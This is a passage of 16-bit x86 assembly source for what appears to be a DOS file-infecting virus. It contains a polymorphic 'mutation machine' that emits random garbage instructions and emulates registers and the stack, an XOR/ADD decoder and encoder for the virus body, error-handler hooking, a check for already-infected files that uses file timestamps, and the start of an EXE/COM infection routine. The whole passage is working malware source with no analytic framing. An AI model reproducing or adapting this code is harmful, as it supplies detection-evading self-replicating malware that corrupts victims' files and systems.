dw offset mt3
|
||
db 1
|
||
dw offset mt4
|
||
db 1
|
||
dw offset mt5
|
||
db 0ffh
|
||
gmovr:
|
||
mov si,offset chtab00
|
||
jmp choose
|
||
|
||
;generating of mov ds,reg
|
||
mt5:
|
||
mov fw,1
|
||
test res+3,1
|
||
jnz mt5err ;if ds is set to cs, do nothing
|
||
call gregp
|
||
jc mt5err
|
||
mov ax,1101100010001110b
|
||
or ah,dl
|
||
stosw
|
||
mt5err: retn
|
||
|
||
;generating of mov reg,sreg
|
||
mt4:
|
||
mov fw,1
|
||
mov dx,20h
|
||
call rnd_get
|
||
mov ax,1100000010001100b
|
||
or ah,dl
|
||
and ah,0f8h
|
||
call gregl
|
||
or ah,dl
|
||
stosw
|
||
call getaddr
|
||
and ah,00011000b
|
||
jz sppse
|
||
and byte ptr [si],0fch ;value in reg is not valid
|
||
retn
|
||
sppse: mov al,res
|
||
mov [si],al
|
||
mov ax,word ptr res+1
|
||
mov [si+1],ax
|
||
retn
|
||
|
||
;generating of mov es,reg
|
||
mt3:
|
||
mov fw,1
|
||
call gregp
|
||
jc mt3err
|
||
mov ax,1100000010001110b
|
||
or ah,dl
|
||
stosw
|
||
call rfreg
|
||
or res,3
|
||
mov word ptr res+1,ax
|
||
mt3err: retn
|
||
|
||
;generating of xor X,X
|
||
mt6:
|
||
mov al,00110010b
|
||
jmp short com67
|
||
|
||
;generating of sub X,X
|
||
mt7:
|
||
mov al,00101010b
|
||
com67: mov ah,11000000b
|
||
call gregl
|
||
or ah,dl
|
||
call getaddr
|
||
or [si],ch ;reg is set to zero and has valid value
|
||
mov word ptr ds:(offset gl102),0c032h
|
||
jmp short pcpm67
|
||
|
||
;******************** general part for OR, AND, ... ************************
|
||
|
||
perform_oper_l2:
|
||
mov al,fw
|
||
add byte ptr ds:(offset gl102),al
|
||
call rfreg
|
||
mov bp,word ptr rflag+1
|
||
push bp
|
||
popf
|
||
sti
|
||
cld
|
||
gl102: or al,bl
|
||
pushf
|
||
pop bp
|
||
mov word ptr rflag+1,bp
|
||
jmp wtreg
|
||
|
||
perform_oper_l1:
|
||
call perform_oper_l2
|
||
or rflag,1
|
||
retn
|
||
|
||
chtab01 db 45
|
||
dw offset ot1
|
||
db 45
|
||
dw offset ot2
|
||
db 10
|
||
dw offset ot3
|
||
db 0ffh
|
||
ggen2:
|
||
lodsb
|
||
mov ah,0c3h
|
||
mov word ptr ds:(offset gl102),ax
|
||
lodsb
|
||
mov byte ptr ds:(offset gl104+1),al
|
||
lodsb
|
||
mov ah,11000000b
|
||
mov word ptr ds:(offset gl105+1),ax
|
||
lodsw
|
||
mov word ptr ds:(offset gl106+1),ax
|
||
mov si,offset chtab01
|
||
jmp choose
|
||
|
||
;generating of ins a?,imm
|
||
ot3:
|
||
xor dx,dx
|
||
call getaddr
|
||
lodsb
|
||
and al,03h
|
||
cmp al,03h
|
||
je ot3obn
|
||
cmp al,ch
|
||
jne ot1
|
||
ot3obn: push dx
|
||
gl104: mov al,00001100b
|
||
or al,fw
|
||
stosb
|
||
jmp short tozti
|
||
|
||
;generating of ins reg,reg
|
||
ot2:
|
||
call gregp
|
||
jc wdort1
|
||
call rfreg
|
||
xchg bx,ax
|
||
gl105: mov ax,1100000000001010b
|
||
or ah,dl
|
||
call gregls
|
||
jc wdort1
|
||
pcpm67: call shl3fw
|
||
stosw
|
||
jmp perform_oper_l1
|
||
|
||
;generating of ins reg,imm
|
||
ot1:
|
||
call gregls
|
||
jc wdort1
|
||
push dx
|
||
gl106: mov ax,1100100010000000b
|
||
or al,fw
|
||
or ah,dl
|
||
stosw
|
||
tozti: xor dx,dx
|
||
call rnd_get
|
||
mov bx,dx
|
||
pop dx
|
||
call perform_oper_l1
|
||
xchg ax,bx
|
||
cmp fw,0
|
||
je bort1
|
||
stosw
|
||
jmp wdort1
|
||
bort1: stosb
|
||
wdort1: retn
|
||
|
||
;*********************** generating of OR ***************************
|
||
orrdat db 0ah ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00001100b ;oper a?,imm
|
||
db 00001010b ;oper reg,reg
|
||
dw 1100100010000000b ;oper reg,imm
|
||
gorr:
|
||
mov si,offset orrdat
|
||
pgen21: jmp ggen2
|
||
;*********************** generating of AND ***************************
|
||
andrdat db 22h ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00100100b ;oper a?,imm
|
||
db 00100010b ;oper reg,reg
|
||
dw 1110000010000000b ;oper reg,imm
|
||
gandr:
|
||
mov si,offset andrdat
|
||
jmp pgen21
|
||
;*********************** generating of XOR ***************************
|
||
xorrdat db 32h ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00110100b ;oper a?,imm
|
||
db 00110010b ;oper reg,reg
|
||
dw 1111000010000000b ;oper reg,imm
|
||
gxorr:
|
||
mov si,offset xorrdat
|
||
pggen2: jmp pgen21
|
||
;*********************** generating of TEST **************************
|
||
testrdt db 84h ;oper AL,BL ... inc ... oper AX,BX
|
||
db 10101000b ;oper a?,imm
|
||
db 10000100b ;oper reg,reg
|
||
dw 1100000011110110b ;oper reg,imm
|
||
gtestr:
|
||
mov si,offset testrdt
|
||
ggen3: mov byte ptr ds:(offset gl108+1),00h ;target register can be any register set to proper value
|
||
call ggen2
|
||
mov byte ptr ds:(offset gl108+1),04h ;restore
|
||
retn
|
||
;*********************** generating of CMP ***************************
|
||
cmprdat db 3ah ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00111100b ;oper a?,imm
|
||
db 00111010b ;oper reg,reg
|
||
dw 1111100010000000b ;oper reg,imm
|
||
gcmpr:
|
||
mov si,offset cmprdat
|
||
jmp ggen3
|
||
;*********************** generating of ADD ***************************
|
||
addrdat db 02h ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00000100b ;oper a?,imm
|
||
db 00000010b ;oper reg,reg
|
||
dw 1100000010000000b ;oper reg,imm
|
||
gaddr:
|
||
mov si,offset addrdat
|
||
jmp pggen2
|
||
;*********************** generating of SUB ***************************
|
||
subrdat db 2ah ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00101100b ;oper a?,imm
|
||
db 00101010b ;oper reg,reg
|
||
dw 1110100010000000b ;oper reg,imm
|
||
gsubr:
|
||
mov si,offset subrdat
|
||
jmp pggen2
|
||
;*********************** generating of ADC ***************************
|
||
adcrdat db 12h ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00010100b ;oper a?,imm
|
||
db 00010010b ;oper reg,reg
|
||
dw 1101000010000000b ;oper reg,imm
|
||
gadcr:
|
||
mov si,offset adcrdat
|
||
ggen4: test rflag,1
|
||
jnz pggen2
|
||
gg10err: retn
|
||
;*********************** generating of SBB ***************************
|
||
sbbrdat db 1ah ;oper AL,BL ... inc ... oper AX,BX
|
||
db 00011100b ;oper a?,imm
|
||
db 00011010b ;oper reg,reg
|
||
dw 1101100010000000b ;oper reg,imm
|
||
gsbbr:
|
||
mov si,offset sbbrdat
|
||
jmp ggen4
|
||
|
||
;***************** general part for INC,DEC,... ******************
|
||
|
||
chtab03 db 1
|
||
dw offset inct2
|
||
chtab04 db 1
|
||
dw offset inct1
|
||
db 0ffh
|
||
ggen11:
|
||
lodsw
|
||
mov word ptr ds:(offset gl102),ax
|
||
lodsw
|
||
mov word ptr ds:(offset gl201+1),ax
|
||
lodsb
|
||
mov byte ptr ds:(offset gl202+1),al
|
||
gl203: mov si,offset chtab03
|
||
jmp choose
|
||
|
||
;generating of ins reg8 or ins reg16 (2 bytes)
|
||
inct1:
|
||
call gregls
|
||
jc gg10err
|
||
gl201: mov ax,1100000011111110b
|
||
ggen21: or al,fw
|
||
or ah,dl
|
||
stosw
|
||
jmp perform_oper_l2
|
||
|
||
;generating of ins reg16 (1 byte)
|
||
inct2:
|
||
mov fw,1
|
||
call gregls
|
||
jc gg10err
|
||
gl202: mov al,01000000b
|
||
or al,dl
|
||
stosb
|
||
jmp perform_oper_l2
|
||
|
||
;*********************** generating of INC ***************************
|
||
incrdat dw 0c0feh ;operation
|
||
dw 1100000011111110b ;2 bytes
|
||
db 01000000b ;1 byte
|
||
gincr:
|
||
mov si,offset incrdat
|
||
jmp ggen11
|
||
;*********************** generating of DEC ***************************
|
||
decrdat dw 0c8feh ;operation
|
||
dw 1100100011111110b ;2 bytes
|
||
db 01001000b ;1 byte
|
||
gdecr:
|
||
mov si,offset decrdat
|
||
jmp ggen11
|
||
;*********************** generating of NEG ***************************
|
||
negrdat dw 0d8f6h ;operation
|
||
dw 1101100011110110b ;2 bytes
|
||
gnegr:
|
||
mov si,offset negrdat
|
||
push di
|
||
call ggen12
|
||
pop ax
|
||
cmp di,ax ;if no operation performed then no flags set
|
||
jna inegbv
|
||
or rflag,1
|
||
inegbv: retn
|
||
;*********************** generating of NOT ***************************
|
||
notrdat dw 0d0f6h ;operation
|
||
dw 1101000011110110b ;2 bytes
|
||
gnotr:
|
||
mov si,offset notrdat
|
||
ggen12: mov word ptr ds:(offset gl203+1),offset chtab04
|
||
call ggen11
|
||
mov word ptr ds:(offset gl203+1),offset chtab03
|
||
xt1err: retn
|
||
|
||
;*********************** generating of XCHG **************************
|
||
|
||
chtab05 db 1
|
||
dw offset xchgt1
|
||
db 1
|
||
dw offset xchgt2
|
||
db 0ffh
|
||
gxchgr:
|
||
mov si,offset chtab05
|
||
jmp choose
|
||
|
||
;generating of xchg reg,reg (2 bytes)
|
||
xchgt1:
|
||
call gregls ;source operand
|
||
jc xt1err
|
||
call rfreg
|
||
xchg bx,ax
|
||
mov ax,1100000010000110b
|
||
or ah,dl
|
||
mov bp,dx
|
||
call gregls ;target operand
|
||
cmp bp,dx
|
||
je xt1err
|
||
push bp
|
||
call shl3fw
|
||
stosw
|
||
gl301: call rfreg
|
||
xchg ax,bx
|
||
call wtreg
|
||
pop dx
|
||
xchg ax,bx
|
||
jmp wtreg
|
||
|
||
;generating of xchg ax,reg (1 byte)
|
||
xchgt2:
|
||
mov fw,1
|
||
call gregls
|
||
jc xt1err
|
||
cmp rax,03h
|
||
jne xt1err
|
||
call rfreg
|
||
xchg bx,ax
|
||
mov al,10010000b
|
||
or al,dl
|
||
push dx
|
||
xor dx,dx ;target operand
|
||
stosb
|
||
jmp gl301
|
||
|
||
;***************** general part for SHL,SHR,... ******************
|
||
|
||
ggen20:
|
||
mov al,11010000b
|
||
test rcx,1 ;valid value in cl ?
|
||
jz rbsh1
|
||
mov dx,2
|
||
call rnd_get ;shl ,cl or shl ,1 ?
|
||
shl dl,1
|
||
or al,dl
|
||
mov cl,rcx+1
|
||
rbsh1: mov word ptr ds:(offset gl102),ax
|
||
call gregls
|
||
jc gg20err
|
||
and rflag,0feh ;flags not defined
|
||
jmp ggen21
|
||
|
||
;********************* generating of SHL,SAL *************************
|
||
gshlr:
|
||
mov ah,11100000b
|
||
jmp ggen20
|
||
;*********************** generating of SHR ***************************
|
||
gshrr:
|
||
mov ah,11101000b
|
||
jmp ggen20
|
||
;*********************** generating of SAR ***************************
|
||
gsarr:
|
||
mov ah,11111000b
|
||
jmp ggen20
|
||
;*********************** generating of ROL ***************************
|
||
grolr:
|
||
mov ah,11000000b
|
||
jmp ggen20
|
||
;*********************** generating of ROR ***************************
|
||
grorr:
|
||
mov ah,11001000b
|
||
jmp ggen20
|
||
;*********************** generating of RCL ***************************
|
||
grclr:
|
||
mov ah,11010000b
|
||
ggen22: test rflag,1
|
||
jz gg20err
|
||
jmp ggen20
|
||
gg20err: retn
|
||
;*********************** generating of RCR ***************************
|
||
grcrr:
|
||
mov ah,11011000b
|
||
jmp ggen22
|
||
|
||
;*********************** generating of PUSH **************************
|
||
|
||
chtab06 db 15
|
||
dw offset gpt1
|
||
db 3
|
||
dw offset gpt2
|
||
db 1
|
||
dw offset gpt3
|
||
db 0ffh
|
||
gpushr:
|
||
cmp ssp,0
|
||
je gg20err ;emulated stack full
|
||
mov si,offset chtab06
|
||
gl410: mov fw,1
|
||
jmp choose
|
||
|
||
;type: push reg
|
||
gpt1:
|
||
call gregl ;can push any reg (except sp)
|
||
mov al,01010000b
|
||
or al,dl
|
||
stosb
|
||
call getaddr
|
||
lodsb
|
||
xchg cx,ax
|
||
call rfreg
|
||
|
||
;-------- simulation of PUSH --------
|
||
spush:
|
||
sub ssp,3
|
||
sub word ptr rsp+1,2
|
||
mov si,ssp
|
||
mov byte ptr [si+offset sstack],cl
|
||
mov word ptr [si+offset sstack+1],ax
|
||
retn
|
||
|
||
;type: push sreg
|
||
gpt2:
|
||
mov dx,00100000b
|
||
call rnd_get
|
||
xchg ax,dx
|
||
or al,00000110b
|
||
and al,11111110b
|
||
gl409: stosb
|
||
xor cl,cl
|
||
cmp al,00000110b
|
||
jne spush
|
||
mov ax,word ptr res+1
|
||
mov cl,res ;if it is es
|
||
jmp spush
|
||
|
||
;type: pushf
|
||
gpt3:
|
||
mov al,10011100b
|
||
jmp gl409
|
||
|
||
;*********************** generating of POP ***************************
|
||
|
||
chtab07 db 15
|
||
dw offset gpot1
|
||
db 2
|
||
dw offset gpot2
|
||
db 1
|
||
dw offset gpot3
|
||
db 3
|
||
dw offset gpot4
|
||
db 0ffh
|
||
gpopr:
|
||
cmp ssp,DEPTH
|
||
je gg20err ;emulated stack is empty
|
||
mov si,offset chtab07
|
||
jmp gl410
|
||
|
||
;type: pop reg
|
||
gpot1:
|
||
call gregl ;can pop any reg (except sp)
|
||
mov al,01011000b
|
||
or al,dl
|
||
stosb
|
||
call spop
|
||
call getaddr
|
||
mov byte ptr [si],cl
|
||
call wtreg
|
||
retn
|
||
|
||
;-------- simulation of POP --------
|
||
spop:
|
||
mov si,ssp
|
||
mov cl,byte ptr [si+offset sstack]
|
||
mov ax,word ptr [si+offset sstack+1]
|
||
add ssp,3
|
||
add word ptr rsp+1,2
|
||
retn
|
||
|
||
;type: pop es
|
||
gpot2:
|
||
mov al,00000111b
|
||
stosb
|
||
call spop
|
||
mov res,cl
|
||
mov word ptr res+1,ax
|
||
chpote: retn
|
||
|
||
;type: pop ds
|
||
gpot3:
|
||
test res+3,1
|
||
jnz chpote ;if ds set to cs do nothing
|
||
mov al,00011111b
|
||
stosb
|
||
jmp spop
|
||
|
||
;type: push cs,pop ds
|
||
gpot4:
|
||
test res+3,1
|
||
jnz chpote
|
||
mov ax,0001111100001110b
|
||
stosw
|
||
or res+3,1 ;note that ds is set
|
||
retn
|
||
|
||
;********************* generating of jumps **************************
|
||
|
||
MAXJMP=20
|
||
gbytes:
|
||
push ax
|
||
push cx
|
||
push dx
|
||
mov cx,dx
|
||
jcxz gbsdda
|
||
gbdb: xor dx,dx
|
||
call rnd_get
|
||
xchg ax,dx
|
||
stosb
|
||
loop gbdb
|
||
gbsdda: pop dx
|
||
pop cx
|
||
pop ax
|
||
retn
|
||
takeb:
|
||
call rnd_get
|
||
add si,dx
|
||
lodsb
|
||
retn
|
||
|
||
NOJCON=17
|
||
jcontab db 01110111b ;ja/jnbe
|
||
db 01110011b ;jae/jnb/jnc
|
||
db 01110010b ;jb/jnae/jc
|
||
db 01110110b ;jbe/jna
|
||
db 01110100b ;je/jz
|
||
db 01111111b ;jg/jnle
|
||
db 01111101b ;jge/jnl
|
||
db 01111100b ;jl/jnge
|
||
db 01111110b ;jle/jng
|
||
db 11101011b ;jmp
|
||
db 01110101b ;jne/jnz
|
||
db 01110001b ;jno
|
||
db 01111011b ;jnp/jpo
|
||
db 01111001b ;jns
|
||
db 01110000b ;jo
|
||
db 01111010b ;jp/jpe
|
||
db 01111000b ;js
|
||
jcxdtab db 11100011b ;jcxz
|
||
db 11100010b ;loop
|
||
db 11100001b ;loope/loopz
|
||
db 11100000b ;loopne/loopnz
|
||
|
||
chtab09 db 24
|
||
dw offset gjcon
|
||
db 5
|
||
dw offset gjcxd
|
||
db 1
|
||
dw offset gjmpn
|
||
db 3
|
||
dw offset gcall
|
||
db 0ffh
|
||
gjmp:
|
||
mov si,offset chtab09
|
||
jmp choose
|
||
|
||
;generating of jx
|
||
gjcon:
|
||
test rflag,1
|
||
jz g40err
|
||
mov si,offset jcontab
|
||
mov dx,NOJCON
|
||
ggen41: call takeb
|
||
stosb
|
||
mov byte ptr ds:(offset gl501),al
|
||
mov cx,word ptr rcx+1
|
||
mov bp,word ptr rflag+1
|
||
push bp
|
||
popf
|
||
|
||
;#####
|
||
;to run on 486 supply this:
|
||
; jmp $+2
|
||
;#####
|
||
|
||
gl501: jmp short gl502
|
||
xor dx,dx
|
||
call rnd_get
|
||
xchg ax,dx
|
||
stosb
|
||
jmp short g40mcx
|
||
gl502: mov dx,MAXJMP ;max no of bytes to jump over
|
||
call rnd_get
|
||
mov al,dl
|
||
stosb
|
||
call gbytes
|
||
g40mcx: mov word ptr rcx+1,cx
|
||
g40err: retn
|
||
|
||
;generating of jcxz,loopx
|
||
gjcxd:
|
||
cmp rcx,3
|
||
jne g40err
|
||
mov si,offset jcxdtab
|
||
mov dx,2
|
||
test rflag,1
|
||
jz ggen41
|
||
mov dx,4
|
||
jmp ggen41
|
||
|
||
;generating of jmp near
|
||
gjmpn:
|
||
mov al,11101001b
|
||
stosb
|
||
mov dx,MAXJMP
|
||
call rnd_get
|
||
mov ax,dx
|
||
stosw
|
||
jmp gbytes
|
||
|
||
;generating of call X
|
||
gcall:
|
||
test byte ptr eflag,4
|
||
jz g40err ;can't generate call if no retn before
|
||
mov al,11101000b
|
||
stosb
|
||
mov ax,retnaddr
|
||
dec ax
|
||
dec ax
|
||
sub ax,di
|
||
stosw
|
||
retn
|
||
|
||
;****************** generating of sti,cli,std,cld **********************
|
||
|
||
sacftb label byte
|
||
sti
|
||
cli
|
||
std
|
||
cld
|
||
gsacf:
|
||
mov si,offset sacftb
|
||
mov dx,4
|
||
call takeb
|
||
stosb
|
||
retn
|
||
|
||
;********************* generating of mem. ins. *************************
|
||
|
||
chtab10 db 4
|
||
dw offset pissi
|
||
db 4
|
||
dw offset pisdi
|
||
db 4
|
||
dw offset pisbx
|
||
db 1
|
||
dw offset pisbr
|
||
db 0ffh
|
||
g2ndb:
|
||
mov si,offset chtab10
|
||
jmp choose
|
||
pissi: mov bp,word ptr rsi+1
|
||
mov ah,10000100b
|
||
cmp rsi,3
|
||
je chenbr
|
||
pisdi: mov bp,word ptr rdi+1
|
||
mov ah,10000101b
|
||
cmp rdi,3
|
||
je chenbr
|
||
pisbx: mov bp,word ptr rbx+1
|
||
mov ah,10000111b
|
||
cmp rbx,3
|
||
je chenbr
|
||
pisbr: xor bp,bp
|
||
mov ah,00000110b
|
||
chenbr: retn
|
||
|
||
insertcs:
|
||
test res+3,1 ;ds set to cs ?
|
||
jnz jtdss
|
||
mov byte ptr [di],2eh ;insert cs: prefix
|
||
inc di
|
||
jtdss: retn
|
||
|
||
ggen60: call gregp
|
||
jc gmerr
|
||
push ax
|
||
call rfreg
|
||
or al,al
|
||
pop ax
|
||
jz gmerr ;to avoid operation with 0
|
||
call shl3dl
|
||
ggen61: or al,fw
|
||
call insertcs
|
||
stosw
|
||
mov si,ptei
|
||
mov word ptr [si],ax
|
||
call rfreg
|
||
mov word ptr [si+4],ax
|
||
mov dx,LENDEC
|
||
sub dl,fw ;to enable proper rotation
|
||
call rnd_get
|
||
mov word ptr [si+2],dx
|
||
add ptei,6
|
||
mov ax,sodec
|
||
add ax,dx
|
||
sub ax,bp
|
||
stosw
|
||
and rflag,0feh ;flags modified
|
||
gmerr: retn
|
||
|
||
chtb20o db 6,8,8,2,2 ;starting probabilities for memory-modifying instructions
|
||
chtab20 db ?
|
||
dw offset gxorp
|
||
db ?
|
||
dw offset gaddp
|
||
db ?
|
||
dw offset gsubp
|
||
db ?
|
||
dw offset grolp
|
||
db ?
|
||
dw offset grorp
|
||
db 0ffh
|
||
gmutp:
|
||
cmp ptei,offset eei
|
||
jnb gmerr
|
||
call g2ndb
|
||
mov si,offset chtab20
|
||
jmp choose
|
||
gxorp:
|
||
mov al,00110000b
|
||
jmp ggen60
|
||
gaddp:
|
||
mov al,00000000b
|
||
jmp ggen60
|
||
gsubp:
|
||
mov al,00101000b
|
||
jmp ggen60
|
||
grolp:
|
||
mov al,11010000b
|
||
mov dx,4
|
||
call rnd_get
|
||
or dx,dx
|
||
jz zbclns
|
||
test rcx,1 ;cl set ?
|
||
jz zbclns
|
||
cmp rcx+1,0
|
||
je zbclns ;does not generate rotation ,cl if cl=0
|
||
or al,00000010b
|
||
zbclns: mov dx,1 ;address for emulated cx
|
||
jmp ggen61
|
||
grorp:
|
||
or ah,00001000b
|
||
jmp grolp
|
||
|
||
;********************* generating of mem. mov **************************
|
||
|
||
chtab30 db 5
|
||
dw offset pmvt1
|
||
db 1
|
||
dw offset pmvt2
|
||
db 0ffh
|
||
gmovp:
|
||
call g2ndb
|
||
mov si,offset chtab30
|
||
jmp choose
|
||
|
||
;type: mov reg,mem
|
||
pmvt1:
|
||
call gregl
|
||
mov al,10001010b
|
||
call shl3fw
|
||
push dx
|
||
call insertcs
|
||
stosw
|
||
mov dx,di
|
||
sub dx,offset hbuf+1
|
||
call rnd_get ;in dx offset within header buffer
|
||
mov ax,rel
|
||
add ax,dx
|
||
sub ax,bp
|
||
stosw
|
||
xchg ax,dx
|
||
pop dx
|
||
call getaddr
|
||
or [si],ch ;reg value is valid
|
||
mov si,offset hbuf
|
||
add si,ax
|
||
lodsw
|
||
jmp wtreg ;read byte and write to reg
|
||
|
||
;type: mov mem,reg
|
||
pmvt2:
|
||
call gregp
|
||
jc pmverr
|
||
mov al,10001000b
|
||
call shl3fw
|
||
call insertcs
|
||
stosw
|
||
mov dx,LENOVER-1
|
||
call rnd_get ;in dx offset within overwritable bytes
|
||
mov ax,gba
|
||
add ax,dx
|
||
sub ax,bp
|
||
stosw
|
||
pmverr: retn
|
||
|
||
chtabgl db 13
|
||
dw offset gjmp
|
||
db 32
|
||
dw offset gmutp
|
||
db 17
|
||
dw offset gmovp
|
||
chtabg1 db 70
|
||
dw offset gmovr
|
||
db 1
|
||
dw offset gsacf
|
||
db 16
|
||
dw offset gpushr
|
||
db 16
|
||
dw offset gpopr
|
||
db 4
|
||
dw offset gshlr
|
||
db 4
|
||
dw offset gshrr
|
||
db 2
|
||
dw offset gsarr
|
||
db 2
|
||
dw offset grolr
|
||
db 2
|
||
dw offset grorr
|
||
db 2
|
||
dw offset grclr
|
||
db 2
|
||
dw offset grcrr
|
||
db 7
|
||
dw offset gorr
|
||
db 7
|
||
dw offset gandr
|
||
db 4
|
||
dw offset gxorr
|
||
db 4
|
||
dw offset gtestr
|
||
db 9
|
||
dw offset gaddr
|
||
db 9
|
||
dw offset gsubr
|
||
db 2
|
||
dw offset gadcr
|
||
db 2
|
||
dw offset gsbbr
|
||
db 4
|
||
dw offset gcmpr
|
||
db 4
|
||
dw offset gincr
|
||
db 4
|
||
dw offset gdecr
|
||
db 4
|
||
dw offset gxchgr
|
||
db 2
|
||
dw offset gnegr
|
||
db 2
|
||
dw offset gnotr
|
||
db 0ffh
|
||
|
||
EMM:
|
||
cld
|
||
mov cx,10
|
||
mov di,offset registers
|
||
xor ax,ax
|
||
li1: stosb ;initialize variables
|
||
add di,3
|
||
loop li1
|
||
xchg bx,ax ;bx=0
|
||
mov al,eflag
|
||
and al,01h
|
||
mov res+3,al ;if al=1 ds is set, if al=0 ds is not set
|
||
mov al,04h
|
||
test byte ptr eflag,2
|
||
jz nsspj
|
||
or al,03h
|
||
nsspj: or rsp,al ;don't change sp , known value of sp on input
|
||
mov ssp,DEPTH ;initialize ssp
|
||
mov ptei,offset ei ;initialize ptei
|
||
neprkm: mov cx,5
|
||
mov si,offset chtb20o
|
||
mov di,offset chtab20
|
||
sprpm: lodsb
|
||
cbw
|
||
xchg dx,ax
|
||
call rnd_get
|
||
xchg ax,dx
|
||
add bx,ax
|
||
stosb
|
||
inc di
|
||
inc di
|
||
loop sprpm ;setting of probabilities for memory-modifying instructions
|
||
or bx,bx
|
||
jz neprkm ;not accepted setting of the probabilities
|
||
mov di,offset hbuf
|
||
mov ax,-1
|
||
push ax
|
||
test byte ptr eflag,4 ;generate intro garbage bytes ?
|
||
jz ngenuv
|
||
pop ax
|
||
MAXINTRO=100
|
||
mov dx,MAXINTRO-1
|
||
call rnd_get
|
||
inc dx ;in dx length of intro in bytes
|
||
push dx
|
||
push dx
|
||
call rnd_get
|
||
call gbytes ;write down random bytes
|
||
mov retnaddr,di ;address of retn instruction
|
||
mov al,11000011b
|
||
stosb ;write retn
|
||
pop ax
|
||
sub ax,dx
|
||
xchg dx,ax
|
||
call gbytes ;random bytes
|
||
ngenuv: mov ax,di
|
||
sub ax,offset hbuf
|
||
add ax,rel
|
||
mov hip,ax ;ip value for the file
|
||
MINHDR=400 ;minimal header length
|
||
mov dx,LENHBUF-LENDEC-MINHDR+1
|
||
pop ax ;in ax length of intro-1
|
||
sub dx,ax
|
||
call rnd_get
|
||
add dx,ax
|
||
add dx,MINHDR ;in dx start of decoder
|
||
;relatively to start of hbuf, i.e. header length
|
||
mov hend,dx
|
||
add hend,offset hbuf ;relocation relat. to start of buffer
|
||
add dx,rel
|
||
mov sodec,dx ;start of decoder within the file
|
||
mov word ptr ds:(offset chchtb+1),offset chtabgl ;use all instructions
|
||
mov byte ptr ds:(offset sj1+1),0 ;setting of the switched jump
|
||
next_inst:
|
||
push di
|
||
mov dx,3
|
||
call rnd_get
|
||
or dl,dl
|
||
jz ginsh
|
||
mov dl,1
|
||
ginsh: mov fw,dl ;byte or word inst.
|
||
chchtb: mov si,offset chtabgl
|
||
call choose ;generating of inst.
|
||
pop ax
|
||
sj1: jmp short gc1
|
||
gc1: push di
|
||
|
||
;#####
|
||
;to run on 486 change the following instruction
|
||
;which goes: add di,MAXJMP+3-1
|
||
;into: add di,40 ;prefetch queue is 32B for 486
|
||
;#####
|
||
|
||
add di,MAXJMP+3-1
|
||
cmp di,hend
|
||
pop di
|
||
jb next_inst
|
||
mov word ptr ds:(offset chchtb+1),offset chtabg1 ;do not generate mem-modifying ins.
|
||
mov byte ptr ds:(offset sj1+1),offset gc2-offset gc1 ;switch of jump
|
||
jmp next_inst
|
||
gc2: cmp di,hend
|
||
jb next_inst
|
||
xchg di,ax
|
||
jne next_inst ;if not end of header then repeat
|
||
xchg di,ax
|
||
mov bx,di
|
||
mov ax,offset stsub+(hbuf-start_virus)-LENVIR-(dcjmp-sdec)-2
|
||
sub ax,di
|
||
mov dcjmp,ax ;setting the jump in decoder
|
||
mov si,offset sdec
|
||
mov cx,LENDEC
|
||
rep movsb ;copy decoder behind header
|
||
mov si,ptei
|
||
udzd: cmp si,offset ei
|
||
jna vsmu
|
||
sub si,6 ;reading of mem-modif. inst. in reverse order
|
||
mov al,byte ptr [si]
|
||
mov dl,al
|
||
and dl,11111100b
|
||
cmp dl,00000000b
|
||
jne zop1
|
||
or al,00101000b
|
||
zop1: cmp dl,00101000b
|
||
jne zop2
|
||
and al,00000011b
|
||
zop2: mov ah,10001111b
|
||
and word ptr [si],0011100011111100b
|
||
cmp word ptr [si],0000100011010000b
|
||
jne njtsp
|
||
and ah,11000111b ;xchange ADD for SUB, ROL for ROR and vice versa
|
||
njtsp: mov word ptr ds:(offset vari),ax
|
||
mov dx,word ptr [si+2]
|
||
mov word ptr ds:(offset vari+2),dx
|
||
mov cx,word ptr [si+4]
|
||
jmp $+2
|
||
vari: xor [bx+1234h],cx ;perform reverse operation on decoder
|
||
jmp udzd
|
||
vsmu: retn
|
||
|
||
;******************* decoder ****************
|
||
|
||
sdec:
|
||
sti
|
||
push cs
|
||
pop ds
|
||
dcmsi: mov si,1234h
|
||
dcmax: mov ax,1234h
|
||
mov cx,(LENVIR-1)/2+1
|
||
dp2: xor [si],ax
|
||
jmp short dcaax1
|
||
dcaax2: add ax,1234h
|
||
inc si
|
||
loop dp2
|
||
db 0e9h
|
||
dcjmp dw ?
|
||
dcaax1: add ax,1234h
|
||
inc si
|
||
xor [si],ax
|
||
jmp dcaax2
|
||
|
||
edec label near
|
||
|
||
;******************** Explosion's Mutation Machine ********************
|
||
|
||
;*************** copied routines **************
|
||
|
||
zencode:
|
||
mov cx,LENVIR
|
||
xor dx,dx ;offset start_virus
|
||
call zzp1
|
||
mov ah,40h
|
||
mov bx,handle
|
||
pushf
|
||
db 9ah
|
||
dd ? ;call ds:oriv21
|
||
jc zec1
|
||
cmp ax,cx
|
||
zec1: pushf
|
||
call zzp1
|
||
popf
|
||
retn
|
||
zzp1: push cx
|
||
mov si,dx
|
||
zecmax: mov ax,1234h
|
||
mov cx,(LENVIR-1)/2+1
|
||
zzp2: xor [si],ax
|
||
zecaax1: add ax,1234h
|
||
inc si
|
||
xor [si],ax
|
||
zecaax2: add ax,1234h
|
||
inc si
|
||
loop zzp2
|
||
pop cx
|
||
retn
|
||
|
||
zres24:
|
||
mov al,03h
|
||
iret
|
||
|
||
zenden label near
|
||
|
||
;************** routines for res. part *************
|
||
|
||
set_on_24:
|
||
push dx
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov ax,3524h
|
||
call int21
|
||
mov seg24,es
|
||
mov off24,bx
|
||
mov ax,2524h
|
||
mov dx,offset res24
|
||
call int21
|
||
pop ds
|
||
pop dx
|
||
retn
|
||
|
||
set_off_24:
|
||
mov ax,2524h
|
||
lds dx,dword ptr cs:off24
|
||
call int21
|
||
retn
|
||
|
||
identify: ;is file infected ?
|
||
push dx
|
||
mov ax,es:[bx+2]
|
||
inc ax
|
||
xor dx,dx
|
||
div cs:v30
|
||
mov ax,es:[bx]
|
||
and al,11111b
|
||
cmp al,dl
|
||
stc
|
||
je iekon ;already infected
|
||
mov ax,es:[bx]
|
||
and ax,0ffe0h
|
||
or al,dl
|
||
clc
|
||
iekon: pop dx
|
||
retn
|
||
|
||
;*********** infect EXE,COM ***********
|
||
|
||
write_file:
|
||
mov ah,40h
|
||
